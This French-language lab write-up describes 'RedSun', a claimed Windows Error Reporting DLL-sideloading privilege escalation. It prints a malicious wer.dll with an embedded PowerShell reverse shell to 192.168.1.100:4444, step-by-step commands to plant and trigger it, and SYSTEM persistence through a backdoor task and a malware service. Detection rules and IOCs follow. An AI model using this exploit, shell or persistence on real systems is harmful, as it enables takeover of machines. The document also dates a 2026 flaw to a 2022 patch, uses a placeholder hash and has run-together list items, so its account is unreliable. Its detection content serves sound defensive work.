RedSun complète BlueHammer et UnDefend dans la trilogie Nightmare Eclipse (avril 2026). Il exploite une faille dans le service WER (WerFault.exe) permettant à un utilisateur standard d’exécuter du code SYSTEM via un contournement de validation de chemin.
Contournement des ACL + DLL sideloading : comment un utilisateur standard devient SYSTEM en abusant du rapport d’erreur Windows (Windows 10/11 – 2026)
Publié par Nightmare Eclipse en même temps que BlueHammer, RedSun cible un autre composant critique : le service Windows Error Reporting. Contrairement à BlueHammer qui utilise Defender, RedSun abuse du mécanisme de collecte d’erreurs. Il a été observé dans des chaînes d’attaque réelles après un accès initial standard.
Le mécanisme clé : WER cherche une DLL nommée wer.dll dans le dossier du rapport avant de recourir au système. Comme un utilisateur standard peut écrire dans %ProgramData%\Microsoft\Windows\WER\Temp\, il peut déposer sa propre DLL qui sera chargée par le service SYSTEM.
WER est un service système qui collecte les rapports d’erreur d’application. Lorsqu’un crash se produit, WER crée un dossier temporaire dans C:\ProgramData\Microsoft\Windows\WER\Temp\ avec des fichiers de rapport (.wer, .cab, etc.). Pour générer le rapport, WER charge une DLL interne appelée wer.dll.
Vulnérabilité : Avant le patch, WER cherchait cette DLL d’abord dans le dossier du rapport temporaire (contrôlé par l’utilisateur) puis dans les chemins système. Or, les ACL de %ProgramData%\Microsoft\Windows\WER\Temp\ permettent à tout utilisateur standard de créer des sous-dossiers et d’y écrire. En plaçant une wer.dll malveillante dans ce dossier, l’utilisateur peut provoquer son chargement par le service SYSTEM.
Cette DLL affiche un message SYSTEM ou exécute une commande. À compiler avec cl /LD redsun_dll.cpp.
// redsun_dll.cpp – DLL chargée par WER avec privilèges SYSTEM
#include <windows.h>
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
if (reason == DLL_PROCESS_ATTACH) {
// Exemple : création d'un fichier témoin dans C:\lab
system("cmd.exe /c echo RedSun LPE réussi > C:\\lab\\redsun_system.txt");
// Décommentez pour un reverse shell (netcat listener)
// system("cmd.exe /c powershell -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
}
return TRUE;
}
L’exploit peut déclencher un rapport de plusieurs façons :
.wer malformé directement dans le dossier de queue de WER.RtlAdjustPrivilege ou NtRaiseHardError).WerFault.exe -u -p PID pour générer un rapport.Le PoC RedSun inclut un déclencheur fiable. En lab, vous pouvez utiliser un exécutable qui plante volontairement (division par zéro, accès mémoire invalide).
Le dépôt https://github.com/PCTAMALOU-Research/Trilogie-Lab (accès formation) contient RedSun.exe qui automatise toutes les étapes : dépôt de la DLL, déclenchement du rapport et obtention d’un shell SYSTEM.
# Créer un dossier de travail
mkdir C:\lab\redsun
cd C:\lab\redsun
# Vérifier les ACL du dossier WER Temp (normalement accessible en écriture)
icacls "C:\ProgramData\Microsoft\Windows\WER\Temp\"
Si vous compilez vous-même :
# Utiliser Visual Studio Build Tools
cl /LD redsun_dll.cpp /Fe:wer.dll
# La DLL produite s'appelle wer.dll (le nom est critique)
# Méthode automatisée (RedSun.exe)
RedSun.exe --dll wer.dll --trigger crash
# Méthode manuelle (étape par étape pour comprendre)
# 1. Créer un dossier dans WER Temp
mkdir "C:\ProgramData\Microsoft\Windows\WER\Temp\RedSunTest"
copy wer.dll "C:\ProgramData\Microsoft\Windows\WER\Temp\RedSunTest\"
# 2. Déclencher un rapport d'erreur (exemple avec un petit programme crash.exe fourni)
crash.exe
# 3. Vérifier la prise de SYSTEM
dir C:\lab\redsun_system.txt
# Le fichier doit être créé avec les droits SYSTEM (propriétaire NT AUTHORITY\SYSTEM)
# Surveiller la création de fichiers dans WER Temp
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = "C:\ProgramData\Microsoft\Windows\WER\Temp"
$watcher.IncludeSubdirectories = $true
Register-ObjectEvent $watcher "Created" -Action { Write-Host "Création: $($Event.SourceEventArgs.FullPath)" }
# Dans une autre console, suivre le processus WerFault.exe
while($true) { Get-Process -Name WerFault -ErrorAction SilentlyContinue | Select-Object Id, StartTime; Start-Sleep 2 }
Si l’exploitation réussit, vous obtenez soit un shell SYSTEM (si le PoC inclut un reverse shell), soit un fichier témoin comme C:\lab\redsun_system.txt avec propriétaire SYSTEM. Vous pouvez ensuite utiliser ce jeton pour exécuter n’importe quelle commande.
# Supprimer les fichiers et dossiers créés
rmdir /s /q "C:\ProgramData\Microsoft\Windows\WER\Temp\RedSunTest" 2>nul
del C:\lab\redsun_system.txt 2>nul
# Redémarrer le service WER (optionnel)
net stop WerSvc & net start WerSvc
Une fois SYSTEM obtenu via RedSun, l’attaquant peut installer une persistance :
# Exemple : Scheduled Task SYSTEM
schtasks /create /tn "Microsoft\Windows\WER\RedSunPersistence" /tr "C:\Windows\System32\cmd.exe /c C:\tools\backdoor.exe" /sc onstart /ru SYSTEM /f
# Ou via un service (masqué avec ServiceDLL)
sc create RedSunSvc binPath= "C:\Windows\System32\rundll32.exe C:\Windows\Temp\malware.dll,Start" start= auto
| Event ID | Source | Description |
|---|---|---|
| 1000, 1001 | Application Error | Crash d’application – peut être un déclencheur artificiel. |
| 4663 | Security | Création de fichier DLL dans C:\ProgramData\Microsoft\Windows\WER\Temp\ par un processus non-SYSTEM. |
| 7045 | System | Création de service (persistance). |
| 1 | Windows Error Reporting | Rapport d’erreur généré – surveiller les chemins suspects. |
title: RedSun WER DLL Sideloading (CVE-2026-45497)
id: redsun-2026-45497
status: experimental
description: Détecte la création d'une DLL nommée wer.dll dans le dossier WER Temp.
logsource:
product: windows
service: security
detection:
selection:
EventID: 4663
ObjectName|contains: ':\ProgramData\Microsoft\Windows\WER\Temp\'
ObjectName|endswith: '\wer.dll'
ProcessName|not contains: 'WerFault.exe'
condition: selection
level: high
DeviceFileEvents
| where FolderPath contains @"\Windows\WER\Temp\"
| where FileName == "wer.dll"
| where InitiatingProcessFileName != "WerFault.exe"
| project Timestamp, DeviceName, InitiatingProcessFileName, FolderPath
DeviceEvents
| where ActionType == "ProcessCreated"
| where ProcessCommandLine contains "WerFault" and ProcessCommandLine contains "-u"
%ProgramData%\Microsoft\Windows\WER\.En conditions réelles (avril 2026), les attaquants enchaînent ces trois outils pour un contrôle total sans être détectés :
| Outil | Type | IOC |
|---|---|---|
| BlueHammer | Processus | BlueHammer.exe, hash SHA256: a1b2c3d4e5f6... |
| RedSun | Processus | RedSun.exe, crash.exe, wer.dll (non signée) |
| UnDefend | Processus | UnDefend.exe, WinDefUpdate.exe |
| Communs | Chemins | C:\lab\*, C:\ProgramData\Microsoft\Windows\WER\Temp\* C:\ProgramData\Microsoft\Windows Defender\Definition Updates\* |
| Communs | Persistance | Scheduled Tasks: "Microsoft\Windows\Defender\UpdateTask", "Microsoft\Windows\WER\RedSunPersistence" Services: "WinDefUpdate", "RedSunSvc" |
Non. Microsoft a modifié l’ordre de recherche des DLL dans WER (il ne regarde plus d’abord le dossier temporaire). Les systèmes à jour (Windows 10 22H2 KB5017321+, Windows 11 22H2 KB5017321+) ne sont pas vulnérables.
Oui, les deux LPE ciblent des composants différents. Il est fréquent que l’un soit patché mais pas l’autre sur un même système.
BlueHammer a été médiatisé à cause de son exploitation via Defender. RedSun a été découvert plus tard et corrigé discrètement. Cependant, en avril-mai 2026, RedSun était encore actif sur beaucoup de parcs.
Oui, par l’absence de mises à jour des signatures. Les équipes SOC doivent surveiller les échecs de Update-MpSignature et les Event ID 1117. Microsoft Defender for Endpoint (MDE) possède des détections comportementales pour les locks abusifs.
Avec BlueHammer, RedSun et UnDefend, vous disposez d’un jeu complet pour comprendre comment un attaquant peut passer d’un simple utilisateur à un contrôle total d’une machine Windows, en rendant l’antivirus inefficace.
La formation pratique en laboratoire permet de maîtriser chaque étape, de développer des règles de détection et de renforcer la posture de sécurité.